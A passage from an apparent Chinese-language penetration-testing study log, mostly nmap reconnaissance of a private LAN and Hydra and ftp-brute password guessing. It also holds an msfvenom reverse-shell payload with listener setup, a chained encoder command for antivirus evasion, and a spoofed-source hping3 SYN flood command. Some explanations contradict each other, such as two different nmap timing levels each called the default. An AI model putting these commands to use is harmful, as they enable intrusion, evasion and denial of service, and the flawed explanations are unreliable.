| Subject Alternative Name: DNS:synology
| Not valid before: 2020-08-10T10:10:11
|_Not valid after:  2021-08-11T10:10:11
| tls-alpn:
|_  http/1.1
445/tcp  open  netbios-ssn Samba smbd 4.6.2
548/tcp  open  afp         Netatalk 3.1.8 (name: SynologyDS420j; protocol 3.4)
| afp-serverinfo:
|   Server Flags:
|     Flags hex: 0x8f79
|     Super Client: true
|     UUIDs: true
|     UTF8 Server Name: true
|     Open Directory: true
|     Reconnect: false
|     Server Notifications: true
|     TCP/IP: true
|     Server Signature: true
|     Server Messages: true
|     Password Saving Prohibited: false
|     Password Changing: false
|     Copy File: true
|   Server Name: SynologyDS420j
|   Machine Type: Netatalk3.1.8
|   AFP Versions: AFP2.2, AFPX03, AFP3.1, AFP3.2, AFP3.3, AFP3.4
|   UAMs: Cleartxt Passwrd, DHX2, DHCAST128
|   Server Signature: 60196c9a4d5970a7f843dbdd7ce91b11
|   Network Addresses:
|     192.168.1.29
|_  UTF8 Server Name: SynologyDS420j
873/tcp  open  rsync
2049/tcp open  nfs         2-4 (RPC #100003)
3260/tcp open  iscsi       Synology DSM iSCSI
| iscsi-info:
|   iqn.2000-01.com.synology:SynologyDS420j.Target-1.4fe629e04f:
|     Address: [fe80::211:32ff:fec6:b0a5]:3260,1
|     Authentication: NOT required
|   iqn.2000-01.com.synology:SynologyDS420j.Target-2.4fe629e04f:
|     Address: [fe80::211:32ff:fec6:b0a5]:3260,1
|     Authentication: required
|_    Auth reason: Authorization failure
3261/tcp open  winshadow?
5000/tcp open  http        nginx
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: SynologyDS420j&nbsp;-&nbsp;Synology&nbsp;NAS
5001/tcp open  ssl/http    nginx
| http-robots.txt: 1 disallowed entry
|_/
| tls-nextprotoneg:
|_  http/1.1
| tls-alpn:
|_  http/1.1
|_http-title: SynologyDS420j&nbsp;-&nbsp;Synology&nbsp;NAS
| ssl-cert: Subject: commonName=synology/organizationName=Synology Inc./countryName=TW
| Subject Alternative Name: DNS:synology
| Not valid before: 2020-08-10T10:10:11
|_Not valid after:  2021-08-11T10:10:11
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Unix

Host script results:
|_nbstat: NetBIOS name: SYNOLOGYDS420J, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-time:
|   date: 2024-03-06T06:05:00
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
|_clock-skew: 1m00s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 172.37 seconds


1. **主機狀態**：主機是開機狀態（Host is up），表示目標IP可達，掃描時的網絡延遲非常低（0.00036秒）。

2. **開放的TCP端口**：
   - **22/tcp**：開放，運行OpenSSH 7.4（SSH服務），用於遠程管理。
   - **80/tcp**：開放，運行nginx，HTTP服務。
   - **111/tcp**：開放，運行rpcbind，支援遠程程序調用（RPC）服務。
   - **139/tcp和445/tcp**：開放，運行Samba smbd 4.6.2，支持檔案共享（NetBIOS/ SMB服務）。
   - **443/tcp**：開放，運行nginx，HTTPS服務（SSL加密的Web服務）。
   - **548/tcp**：開放，運行Netatalk 3.1.8（AFP服務，主要用於蘋果裝置的檔案共享）。
   - **873/tcp**：開放，rsync服務，用於檔案同步。
   - **2049/tcp**：開放，NFS服務，另一種檔案共享協議。
   - **3260/tcp**：開放，iSCSI服務，用於基於IP網絡的存儲區域網絡。
   - **5000/tcp和5001/tcp**：開放，運行nginx，可能是Synology NAS的Web管理界面。

3. **服務和版本檢測**：掃描結果顯示了開放端口上運行的服務及其版本資訊，包括對應的軟件和協議。

4. **操作系統檢測**：服務資訊提示目標主機可能運行Unix系統，並且是一台Synology NAS設備。

5. **腳本掃描結果**：提供了進一步的資訊，如SSH密鑰、RPC服務詳細資訊、Samba和NFS的配置資訊、iSCSI目標資訊等。

6. **SSL/TLS證書資訊**：443端口和5001端口的SSL證書顯示，主機名為"synology"，組織名稱為"Synology Inc."，國家為"TW"（台灣）。證書的有效期從2020年8月10日到2021年8月11日。

7. **其他訊息**：包括NetBIOS名稱、時鐘偏差、SMB安全模式和時間訊息等。

總結來說，這台主機是一台運行多種服務的Synology NAS裝置，包括檔案共享（Samba、NFS、AFP）、網頁服務（nginx），以及遠程管理（SSH）。從開放的端口和運行的服務來看，這台裝置提供了豐富的網絡服務和存儲功能。掃描結果還顯示了一些安全設定資訊，例如SSL證書的有效期和加密設定，這些資訊對於進行進一步的安全評估和管理是非常有用的。


* nmap -sn target_ip
-sn：這個選項告訴Nmap只進行主機發現，不進行端口掃描。這是通過向目標地址發送ICMP回聲請求（即ping）、TCP SYN到默認端口（如80端口）、TCP ACK到默認端口、以及ICMP時間戳請求等方式來實現的。

┌──(user㉿kali)-[~]
└─$ nmap -sn 192.168.1.190
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-06 13:43 CST
Nmap scan report for WIN-HKVC4DIIO0I.ta-chun.com (192.168.1.190)
Host is up (0.00049s latency).
Nmap done: 1 IP address (1 host up) scanned in 0.00 seconds

┌──(user㉿kali)-[~]
└─$ nmap -sn 192.168.1.150
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-06 13:43 CST
Nmap scan report for pps150.ta-chun.com (192.168.1.150)
Host is up (0.00043s latency).
Nmap done: 1 IP address (1 host up) scanned in 0.00 seconds

┌──(user㉿kali)-[~]
└─$ nmap -sn 192.168.1.188
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-06 13:44 CST
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.00 seconds


對192.168.1.190的掃描：
主機名稱為WIN-HKVC4DIIO0I.ta-chun.com。
主機處於在線狀態，響應延遲為0.00049秒。

對192.168.1.150的掃描：
主機名稱為pps150.ta-chun.com。
主機處於在線狀態，響應延遲為0.00043秒。

對192.168.1.188的掃描：
掃描結果顯示該主機似乎處於下線狀態。然而，如果該主機實際上是在線的，但是阻擋了ping探測包，

┌──(user㉿kali)-[~]
└─$ nmap -sn -Pn 192.168.1.188
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-06 13:45 CST
Nmap scan report for 192.168.1.188
Host is up.
Nmap done: 1 IP address (1 host up) scanned in 0.00 seconds

-Pn選項會跳過發現階段，直接進行掃描，這在目標主機設有防火牆或是忽略ping請求的情況下特別有用。


* nmap -F target_ip

Nmap的快速掃描（使用-F選項）針對的是Nmap內置的一組預定義的端口列表，這個列表包含了被認為是最常用或最“受歡迎”的100個TCP端口。這些端口是根據互聯網上的各種服務和應用的普及度來選定的。

這個列表並不是靜態的，它可能會隨著Nmap版本的更新而發生變化，以反映當前網絡服務使用的變化趨勢。

* 20, 21：FTP（檔案傳輸協議）
* 22：SSH（安全殼協議）
* 23：Telnet（遠程登錄服務）
* 25：SMTP（簡單郵件傳輸協議）
* 53：DNS（域名系統）
* 80：HTTP（超文本傳輸協議）
* 110：POP3（郵局協議版本3）
* 123：NTP（網絡時間協議）
* 143：IMAP（互聯網消息存取協議）
* 443：HTTPS（HTTP安全）
* 445：Microsoft-DS（Active Directory、Windows共享等）
* 993：IMAPS（IMAP加密版）
* 995：POP3S（POP3加密版）

┌──(user㉿kali)-[~]
└─$ nmap -F 192.168.1.150
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-06 15:25 CST
Nmap scan report for pps150.ta-chun.com (192.168.1.150)
Host is up (0.00029s latency).
Not shown: 95 filtered tcp ports (no-response)
PORT      STATE SERVICE
22/tcp    open  ssh
25/tcp    open  smtp
443/tcp   open  https
3306/tcp  open  mysql
10000/tcp open  snet-sensor-mgmt

Nmap done: 1 IP address (1 host up) scanned in 1.85 seconds

22/tcp：開放的SSH端口，SSH（Secure Shell）是一種加密的網絡協議，用於安全地通過不安全的網絡進行遠程登錄和其他安全網絡服務。
25/tcp：開放的SMTP端口，SMTP（Simple Mail Transfer Protocol）是互聯網上用於傳輸電子郵件的標準協議。
443/tcp：開放的HTTPS端口，HTTPS（Hypertext Transfer Protocol Secure）是HTTP的安全版本，用於安全的Web通信。
3306/tcp：開放的MySQL端口，MySQL是一種廣泛使用的開源關係數據庫管理系統。
10000/tcp：開放的snet-sensor-mgmt端口，這個端口可能用於多種服務，包括Webmin管理界面，這是一個基於Web的系統管理工具。





# 2024/3/8 Nmap
-T0 到 -T5 是Nmap中用於指定掃描速度的參數，代表不同的掃描強度級別。這些級別包括：


-T0：這是最慢的級別，也被稱為 Paranoid（偏執）模式。它將掃描速度減慢到最低程度，同時也會減少對目標網絡的負擔和噪音。這種模式主要用於需要極大隱蔽性的情況下，或者對目標系統進行極其謹慎的探查。

-T1：這是一個非常緩慢的級別，通常被稱為 Sneaky（隱密）模式。它比 Paranoid 模式稍快一點，但仍然相當緩慢。這個級別適用於需要更高度隱蔽性的掃描，並且可以進一步減少對目標網絡的負擔和噪音。

-T2：這是默認的掃描級別 Polite（有禮貌），也是一個平衡的選擇。它提供了一個良好的平衡，既能夠以適中的速度掃描目標，同時又能夠保持較低的噪音水平。這使得它在一般情況下非常適用。

-T3：這是一個常規的掃描級別 Normal（正常），也是默認的級別。它提供了一個相對快速的掃描速度，同時也相對穩健，可以在大多數情況下進行有效的掃描。

-T4：這是一個相對快速的掃描級別，通常被稱為 Aggressive（積極）模式。它提供了比常規級別更快的掃描速度，同時也會增加對目標網絡的負擔和噪音。這種模式適用於需要快速結果並且可以接受一定程度的噪音的情況。

-T5：這是最快的掃描級別，也被稱為 Insane（瘋狂）模式。它提供了極快的掃描速度，但同時也會對目標網絡造成較大的負擔和噪音。這種模式主要用於需要極快速度並且可以容忍較大干擾的情況。 

若完全沒有設定，預設是使用 -T3 參數。如果網路環境穩定，參數建議調整為 -T4。-T4 禁止動態 TCP Port 掃描延遲超過 10 ms。而 -T5 選項對於掃描時間要求太過嚴苛，可能會失去準度 。雖掃描速度快，但仍不建議使用。而 -T0 ~ -T1 是避免 IDS 告警，但掃描速度頗慢，沒有特殊需求，不建議使用。

![image](https://hackmd.io/_uploads/S1owWND6p.png)


以 root 權限執行 -sn （確認主機在線）
![image](https://hackmd.io/_uploads/By6_1Vv6p.png)

# 2024/3/11 NMAP -v 和 -sA 參數介紹

-v (verbose)：列出詳細的掃描資訊，每增加一個 "v"都會增加一個級別的詳細程度，顯示更多信息以此類推。
![image](https://hackmd.io/_uploads/Bk9s_IOpT.png)
![image](https://hackmd.io/_uploads/SJmR_U_aa.png)

可以看到 -v 和 -vv 的差別在於 -vv 在端口服務那邊有說明是因為有收到 syn-ack 這個封包來判斷端口是否有開啟。

會收到 syn-ack 這個的原因為：

1. 我們的 Kali 主機先對目標主機 發送了一個 syn-ack 封包請求連線。
2. 如果目標端口是開放的，目標主機會回應一個 TCP syn-ack 封包，表示準備好建立連線。
3. kali 主機會再回應一個 TCP ACK 封包表示也準備好建立連線。到這裡 TCP 連線建立完成，就會開始傳送端點資料。這個動作稱作 TCP 三項握手。

-sA
nmap 也有指令可以直接對目標主機傳送 syn-ack 封包確認那些端口是有開啟的

使用方法：
nmap -sA [目標主機IP]
![image](https://hackmd.io/_uploads/SkPzRLuTT.png

這個指令的最主要目的是探測目標主機是否有防火牆保護，直接發送 ACK 封包，如果防火牆有阻擋，封包到不了受測主機，則不會顯示任何端口資料。
![image](https://hackmd.io/_uploads/BJORyDu6a.png)

1. 防火牆：目標主機上的防火牆可能阻止了 Nmap 掃描對這些端口的訪問，導致無法確定它們的狀態。
2. 主機未響應：目標主機未對這些端口的掃描做出任何響應，可能是由於主機關閉了這些端口，或者是由於網絡問題導致通信失敗。
3. 權限不足：在某些情況下，Nmap 可能以沒有足夠權限的用戶運行，導致無法訪問一些端口。








# 2024/3/12 vuln & --script=http-title

nmap --script vuln target_ip

這個命令會運用Nmap的腳本掃描引擎（NSE）中的一組腳本，這些腳本專門設計來識別網絡服務的已知漏洞。

命令結構解析：
--script=vuln：這一部分指令告訴Nmap使用其內置的或用戶自定義的NSE腳本中標記為識別漏洞（vuln類）的腳本。這些腳本會對目標進行各種已知漏洞的檢測，這些漏洞可能存在於開放的網絡服務中。
target_ip：這是您要掃描的目標的IP地址或域名。您可以指定單個IP地址、一個IP範圍、一個網段或一個主機名稱。

"vuln"類腳本的特點：
目標識別：這類腳本能夠檢測特定的安全漏洞，這些漏洞可能存在於操作系統、網絡服務或應用軟件中。
廣泛覆蓋：包括對常見軟件漏洞的檢測，如Web應用的SQL注入、跨站腳本（XSS）、遠程代碼執行漏洞等。
風險評估："vuln"腳本的結果可以幫助用戶對系統的安全風險進行評估


![image](https://hackmd.io/_uploads/HJdHcH2TT.png)

開放的端口
135/tcp (msrpc)：遠端程序調用端口，常見於Windows系統。
445/tcp (microsoft-ds)：用於Windows文件共享和SMB服務的端口。
3389/tcp (ms-wbt-server)：遠端桌面協議（RDP）的標準端口，用於遠程訪問Windows桌面。
49154/tcp：一個未知的開放端口，可能用於特定應用或服務。
發現的漏洞
smb-vuln-ms17-010: 掃描發現192.168.1.25對MS17-010漏洞（CVE-2017-0143）是脆弱的。這是一個在Microsoft SMBv1服務中存在的遠程代碼執行漏洞，風險等級被評為高。攻擊者可以利用這個漏洞來執行遠程代碼，進而完全控制受影響系統。這個漏洞是WannaCry等勒索軟體能夠廣泛傳播的原因之一。

![image](https://hackmd.io/_uploads/BJBSRr2aT.png)

掃描結果摘要：
開放端口：

22/tcp (SSH)
80/tcp (HTTP)
135/tcp (MSRPC)
139/tcp (NetBIOS-SSN)
443/tcp (HTTPS)
445/tcp (Microsoft-DS)
1433/tcp (MS SQL Server)
3389/tcp (MS WBT Server, 通常用於遠程桌面協議RDP)
5357/tcp (WSDAPI)
8000/tcp (HTTP Alt, 常用於Web服務的另一端口)


漏洞掃描結果：

HTTP和HTTPS服務的掃描沒有發現跨站請求偽造(CSRF)、存儲型跨站腳本(XSS)和基於DOM的跨站腳本(XSS)漏洞。
對於SMB服務的一些漏洞掃描（如CVE-2012-1182、MS10-061、MS10-054）未能成功，或者沒有發現漏洞。



nmap --script=http-title 192.168.1.0/24


正在指示Nmap對整個`192.168.1.0/24`網段進行掃描，並專門查找和報告運行HTTP服務的主機的Web頁面標題。

### 命令解析：

- `--script=http-title`：這部分指令指定Nmap使用其腳本掃描引擎（NSE）中的`http-title`腳本。此腳本的作用是抓取目標Web服務的首頁，並從中提取HTML標題標籤(`<title></title>`)的內容。這對於快速識別Web服務的性質和用途非常有用。
- `192.168.1.0/24`：這表示您要掃描的目標網段。這是一個CIDR表示法，指的是從`192.168.1.0`到`192.168.1.255`的256個IP地址。

### 使用此命令的情境：

這個命令在多種情況下都非常有用，特別是當您想要快速了解您的網絡中運行了哪些Web服務時。例如，它可以幫助您：

- 識別哪些設備在運行Web服務。
- 獲取Web服務的基本信息，例如服務的名稱或功能，這可以從頁面標題中推斷出來。
- 查找未經授權的或未知的Web服務，這些服務可能是安全風險或資源浪費的來源。

### 注意事項：

- 在對目標網絡進行掃描時，請確保您有權進行此類活動。未經授權的網絡掃描可能會違反法律或政策。
- 由於這個命令會對大量主機進行HTTP請求，請考慮到它可能會對網絡資源造成一定的負載。
- 這個掃描只針對標準的HTTP和HTTPS端口（通常是80和443端口）。如果Web服務運行在非標準端口上，您可能需要使用`-p`選項手動指定端口。

![image](https://hackmd.io/_uploads/H1envLna6.png)




nmap --script=http-headers 192.168.1.0/24

使用了http-headers腳本來探測目標網路中的HTTP頭資訊。 下面是命令的解釋：

nmap: 這是執行網路掃描的Nmap工具。
--script=http-headers: 這部分指定了要使用的Nmap腳本，即http-headers。 這個腳本用來偵測HTTP服務，並收集HTTP頭資訊。
192.168.1.0/24: 這是指定要掃描的目標網路範圍。 192.168.1.0/24表示一個CIDR表示法的子網，其中192.168.1.0是網路位址，/24表示子網路遮罩為24位，即255.255.255.0，它覆蓋了該網路中的所有IP位址。
因此，這個指令將使用http-headers腳本對192.168.1.0/24範圍內的所有主機進行HTTP頭資訊的偵測。

![image](https://hackmd.io/_uploads/SkogdI3pp.png)
該主機有幾個連接埠是開放的：
22/tcp：SSH服務
80/tcp：HTTP服務，傳回的HTTP頭資訊中顯示了一些關於伺服器的信息，如伺服器類型和最後修改時間等。
135/tcp：MSRPC服務
139/tcp：NetBIOS服務
443/tcp：HTTPS服務，回傳了一些關於伺服器的資訊。
445/tcp：Microsoft-DS服務
1433/tcp：MS-SQL-S服務
3389/tcp：MS-WBT-Server服務
5357/tcp：WSDAPI服務
8000/tcp：HTTP-ALT服務，回傳了一些關於伺服器的資訊。
對於HTTP服務（連接埠80和連接埠8000），http-headers腳本提供了一些關於伺服器的詳細信息，例如伺服器類型、最後修改時間、內容類型等。 這有助於識別主機上運行的Web伺服器以及與其相關的一些細節。

nmap --script="http-headers,http-title" 192.168.1.0/24

# 2024/3/13 hydra
-p: 指定要掃描的端口範圍。例如，-p 1-1000表示掃描1到1000之間的所有端口

![image](https://hackmd.io/_uploads/B1W2w3apa.png)

運行Hydra：使用Hydra工具，並指定目標service和用户名列表。

hydra -L username_list.txt -P password.txt target_service://target_ip
![image](https://hackmd.io/_uploads/Hy40S2pa6.png)



# 2024/3/14 Zenmap Profile 及其相對應的指令解釋
![image](https://hackmd.io/_uploads/rJooMyk0a.png)
Intense scan
掃描內容：TCP 掃描、UDP掃描、TCP服務版本檢測和OS檢測。
對應指令：nmap -T4 -A -v

Intense scan plus UDP
掃描除了對常見TCP端口進行掃描外，還將對UDP端口進行掃描。UDP端口通常用於一些特定的服務
對應指令：nmap -sS -sU -T4 -A -v

Intense scan, all TCP ports
將對所有TCP端口進行掃描，而不僅僅是常見的端口。
對應指令：nmap -p 1-65535 -T4 -A -v

Intense scan, no ping
掃描在進行掃描時不執行ping測試，即使目標主機不回應ping請求也會進行掃描。這在目標主機禁止ping時很有用，可以確保掃描不會受到ping檢測的影響。
對應指令：nmap -T4 -A -v -Pn

Ping scan
掃描只執行ping測試，用於快速檢查目標主機是否在線，而不進行端口掃描。
對應指令：nmap -sn

Quick scan
對常見的端口進行掃描，用於快速檢查目標主機。比較適用於快速檢測目標主機是否存在基本的安全問題。
對應指令：nmap -T4 -F

Quick scan plus
掃描與快速掃描類似，但會檢查更多的端口和服務，可以提供更全面的安全檢測。
對應指令：nmap -sV -T4 -O -F --version-light

Quick traceroute
描僅執行traceroute操作，用於查看到目標主機的路由，而不進行端口掃描。
對應指令：nmap -sn --traceroute

Regular scan
常規的掃描方式，對常見的端口和服務進行掃描，用於一般性的安全檢測。
對應指令：nmap 

Slow comprehensive scan
較為緩慢但更全面的掃描，對所有端口和服務進行深入掃描，用於發現更多的漏洞和服務。這種掃描可能需要較長的時間和較大的流量，但同時還會運行指定的Nmap腳本。這樣可以獲得對目標主機更全面的了解和評估。
對應指令：nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)"


# 2024/3/15 NSE腳本引擎

NSE（Nmap Scripting Engine）是Nmap的一個功能強大的擴展，它允許用戶撰寫（或使用現成的）腳本來自動化對網絡掃描後得到的信息進行廣泛的處理。這些腳本可以用來檢測脆弱性、配置問題、收集信息等。

NSE使用Lua語言來編寫腳本，Nmap本身帶有一個腳本庫，其中包含數百個用於各種目的的現成腳本。

Lua是一種強大的輕量級編程語言，設計用於嵌入到應用程序中來提供靈活的擴展和自定義功能。

Lua的特點包括：

* 輕量級：Lua的設計目標之一是保持輕巧，因此它只包括一組有限但足夠的功能，使得它非常適合嵌入到其他應用程序中。
* 可擴展性：Lua提供了簡單的語法和豐富的構造，使得它易於擴展和集成到各種應用程序中。
* 快速和高效：Lua有一個高效的解釋器和運行時，其執行速度可以與其他編譯語言相媲美。
* 跨平台：Lua可以在所有流行的作業系統上運行，包括Windows、Linux、Mac OS和各種嵌入式系統。
* 多範式編程：Lua支援過程式編程、物件導向編程和功能式編程，提供了諸如匿名函數和完整的垃圾收集等功能。


nmap --script [script-name] [target]


nmap的腳本庫的路徑：/usr/share/nmap/scripts 或/xx/nmap/scripts/ 


![image](https://hackmd.io/_uploads/BJUFrEe0p.png)

NSE的設計初衷主要考慮以下幾個方面

網路發現（Network Discovery）
更複雜的版本偵測（例如skype 軟體）
漏洞偵測(Vulnerability Detection)
後門偵測(Backdoor Detection)
漏洞利用(Vulnerability Exploitation)

Nmap的腳本主要分為以下幾類：

* Auth：負責處理鑑權證書(繞過鑑權)的腳本
* Broadcast：在區域網路內探查更多服務去開啟狀況，如DHCP/DNS等
* Brute：針對常見的應用提供暴力破解方式，如HTTP/HTTPS
* Default：使用-sC或-A選項掃描時預設的腳本，提供基本的腳本掃描能力
* Discovery：對網路進行更多的資訊蒐集，如SMB枚舉，SNMP查詢等
* Dos：用於進行拒絕服務攻擊
* Exploit：利用已知的漏洞入侵系統
* External：利用第三方的資料庫或資源。如，進行whois解析
* Fuzzer：模糊測試腳本，發送異常的套件到目標機，偵測出潛在漏洞
* Intrusive：入侵性的腳本，此類腳本可能引發對方的IDS/IPS的記錄或屏蔽
* Malware：探測目標是否感染了病毒，開啟後門等
* Safe：與Intrusive相反，屬於安全性腳本
* Version：負責增強服務與版本掃描功能的腳本
* Vuln：負責檢查目標機是否有常見漏洞，如MS08-067

例如：
nmap -script smb-vuln-ms17-010 192.168.10.34 #可以偵測該主機是否存在ms17_010漏洞
nmap --max-parallelism 800 --script http-slowloris scanme.nmap.org #可以偵測該主機是否有http拒絕服務攻擊漏洞
nmap -script http-iis-short-name-brute 192.168.10.34 #偵測是否存在IIS短檔名漏洞
nmap -script mysql-empty-password 192.168.10.34 #驗證mysql匿名訪問
nmap -p 443 -script ssl-ccs-injection 192.168.10.34 #驗證是否有openssl CCS注入漏洞
 
--script=http-waf-detect #驗證主機是否存在WAF
--script=http-waf-fingerprint #驗證主機是否存在WAF
 
nmap --script-brute 192.168.1.1 #nmap可對資料庫、SMB、SNMP等進行簡單密碼的暴力破解
nmap --script-vuln 192.168.1.1 #掃描是否有常見漏洞


# 2024/3/18 hydra GUI
![image](https://hackmd.io/_uploads/BkG1znb0p.png)

![image](https://hackmd.io/_uploads/B1Zxz3WAT.png)

![image](https://hackmd.io/_uploads/BkKGGhWAp.png)


![image](https://hackmd.io/_uploads/SJtT-n-Ra.png)



# 2024/3/19 Purple Knight
什麼是 Purple Knight？
Purple Knight 是一種 Active Directory 和 Azure AD 安全性評估工具，用於快速識別混合 AD 環境中的漏洞並提供修正建議。

Purple Knight 將攻擊前和攻擊後的安全指標映射到 MITRE ATT&CK 和 ANSSI 框架，提供整體風險評分以及妥協的可能性和具體的補救步驟。 Purple Knight 也為 MITRE D3FEND 模型提供了新的安全框架標籤，這是一個用於網路防禦的測試框架。可以使用 Purple Knight 透過由安全專家團隊不斷更新的內建威脅模型來主動強化 AD 和 Azure AD，以抵禦新的對手策略和技術。



![image](https://hackmd.io/_uploads/HyF5ntH0T.png)
![image](https://hackmd.io/_uploads/r1VJ6YBCa.png)
![image](https://hackmd.io/_uploads/rktC0YSA6.png)
![image](https://hackmd.io/_uploads/HJ-mJ5HRp.png)

Purple Knight Q&A
https://www.purple-knight.com/faq/

# 2024/3/20  nmap --script ftp-brute.nse -p target IP

nmap --script ftp-brute.nse -p 21 192.168.1.26

這個ftp-brute.nse腳本是Nmap的一個腳本，用於對FTP服務器進行暴力破解測試，目的是發現有效的用戶名和密碼組合。以下是對腳本各部分的詳細解釋：
![image](https://hackmd.io/_uploads/Hy94yxwRT.png)



nmap --script ftp-brute --script-args userdb=/home/user/Desktop/usernames.txt,passdb=/home/user/Desktop/passwords.txt -p 21 192.168.1.26

![image](https://hackmd.io/_uploads/rJGU1lvCp.png)


這個腳本通過以下幾個步驟來破解FTP服務的帳號密碼：

1. **初始化**: 腳本首先載入必要的Lua庫和模塊，例如`brute`、`creds`、`ftp`等，這些庫提供網絡連接、暴力破解機制和FTP協議的相關功能。

2. **設定端口規則**: 透過`shortport.port_or_service(21, "ftp")`設定端口規則，確保只對提供FTP服務的標準端口（21）進行掃描。

3. **建立Driver物件**: `Driver`物件是腳本核心的一部分，負責建立到FTP服務的連接、嘗試登入以及處理連接的斷開。它定義了如何連接到FTP服務、如何進行登入嘗試，以及在嘗試後如何處理不同的響應代碼。

4. **進行登入嘗試**:
    - **連接**: 使用`ftp.connect`方法嘗試連接到目標FTP服務。如果連接成功，則繼續進行；如果失敗，則返回錯誤。
    - **認證**: 對於每一對猜測的用戶名和密碼，腳本使用`ftp.auth`方法嘗試登入。這個過程涉及向FTP服務發送用戶名和密碼，然後根據服務的響應來判斷是否成功。
    - **處理響應**: 根據FTP服務的響應代碼，腳本決定下一步行動。例如，響應代碼530表示密碼錯誤，而成功的登入則可能不會返回特定的響應代碼，但可以從無錯誤的響應中推斷出來。

5. **收集和返回結果**: 如果登入嘗試成功，腳本將收集並報告有效的用戶名和密碼組合。所有的嘗試結果，無論成功與否，都會被彙總並在腳本執行完成後返回。

整個過程依賴於暴力破解庫（`brute`模塊）的機制，該模塊協調對一系列用戶名和密碼組合的嘗試，以找出可以成功登入FTP服務的準確認證。這種方法的效率取決於所使用的用戶名和密碼列表的質量，以及目標FTP服務對於連接嘗試的限制和響應速度。
    
    └─$ cat /usr/share/nmap/scripts/ftp-

# 2024/3/21 msfvenom
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=攻擊主機IP LPORT=攻擊主機監聽port -f exe -o ~/test.exe


msfconsole：開啟 CLI 介面
use exploit/multi/handler 使用監聽模組
set payload windows/shell/reverse_tcp：設定跟　msfvenom　所使用的 payload 一樣
set LHOST 172.28.128.6：設定攻擊主機IP
set LPORT 4444：設定攻擊主機 port
exploit：進行攻擊

![image](https://hackmd.io/_uploads/H15kaUOAp.png)



# 2024/3/25  TCP SYN Flood Attack

![image](https://hackmd.io/_uploads/H1NY9BRRT.png)


當客戶端嘗試使用TCP協議（例如HTTP或HTTPS）連接到服務器時，它首先需要執行三次握手，然後才能在兩者之間交換數據。由於三次TCP握手總是由客戶端發起，因此它向服務器發送一個SYN數據包。

TCP三次握手

服務器接下來回復確認請求，同時發送它自己的SYN請求——這是SYN-ACK數據包。最後，客戶端發送一個ACK數據包，確認雙方同意建立連接。因此，連接建立了，他們之間可以傳輸數據。



How To Perform A TCP SYN Flood Attack With Kali Linux & Hping3


sudo hping3 -c 15000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.1.189

我們正在發送15000個數據包（-c 15000），每個大小為120字節（-d 120）。我們指定應該啟用SYN標誌（-S），TCP窗口大小為64（-w 64）。為了將攻擊導向我們受害者的HTTP網絡服務器，我們指定端口80（-p 80），並使用--flood標誌盡可能快地發送數據包。正如您所期待的，--rand-source標誌生成偽造的IP地址來掩飾真實來源並避免被檢測，但同時阻止受害者的SYN-ACK回复數據包到達攻擊者。


![image](https://hackmd.io/_uploads/HkEvjSR0p.png)
過濾無需確認的 SYN 封包： tcp.flags.syn == 1 和 tcp.flags.ack == 0

![image](https://hackmd.io/_uploads/rJIKorA0T.png)
正如您所看到的，有大量 SYN 資料包，且時間變化很小。每個 SYN 封包顯示它來自不同的來源 IP 位址，目標連接埠為 80 (HTTP)、相同的長度 120和視窗大小( 64 )。當我們使用tcp.flags.syn == 1 和 tcp.flags.ack == 1進行過濾時，我們可以看到SYN/ACK的數量相對非常少。TCP SYN 攻擊的明確跡象。



# 2024/3/26 國家資通安全研究院

前言：
國家資通安全研究院（National Center for Cyber Security Technology, NCCST）是台灣的一個機構，屬於行政院資通安全處。該研究院的主要任務是提升台灣的資通安全技術能量，並協助政府及企業提升資通安全防護能力。它致力於資通安全技術研究、推動產學合作、培育人才、國際合作等方面工作，以因應資通安全領域的挑戰。

![image](https://hackmd.io/_uploads/ByA28qACa.png)

以 CVE-2024-21338為範例
提供
1.漏洞簡易說明
2.影響平台
3.修補建議
4.參考資料

網站首頁：
https://www.nics.nat.gov.tw/





# 2024/3/27 msfvenom編碼器
使用編碼器進行混淆，簡單單次混淆一般都能被防毒軟體先解碼再識別出來，那麼嘗試使用多重編碼器做多次混淆

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i5 -f raw | msfvenom -e x86/shikkata_ga_nai -a x86 --platform windows -i 10 -f raw | msfvenom -e x86/countdown -a x86 --platform windows -i 10 -b '\x00\x0a\xff' -f exe -o shell.exe


# 2024/3/29 chatgpt結合滲透測試

    
ChatGPT在滲透測試領域的應用


若需要在Kali Linux的指令環境中整合ChatGPT，我們需要透過一些指令先安裝一些相關套件：
套件需要線上安裝，所以先用ping -c2 www.google.com測試網際網路連線是否正常：

![image](https://hackmd.io/_uploads/r1aD3O-1A.png)

使用sudo pip install shell-gpt安裝sgpt，"sgpt"是一個用於與GPT模型進行交互的指令工具。在這種情況下，"--chat"選項用於指定聊天模式"--chat"選項後面的"demo"為這次對話的識別字串。   
![image](https://hackmd.io/_uploads/B1K7adbkC.png)
安裝完成後，測試使用sgpt指令，因為沒有API_KEY所以出現錯誤訊息：
![image](https://hackmd.io/_uploads/HJCNpOWyC.png)
透過export指令定義OPENAI_API_KEY環境變數後，即可正常運作。如下圖所示：ChatGPT能夠根據我們提出的需求，自動生成適當的Linux指令語法
![image](https://hackmd.io/_uploads/B1CIaOW1A.png)
過sgpt--chat demo--shell"use nmap and ping sweep the 172.16.0.0/24 network."語法，讓 ChatGPT根據需求自動生成Nmap語法，進行對172.16.0.0/24網段的ping主機掃描，以確定哪些主機是開機的。這使得掃描過程更加自動化和迅速，提高了測試的效率。
![image](https://hackmd.io/_uploads/rJJKT_Zy0.png)
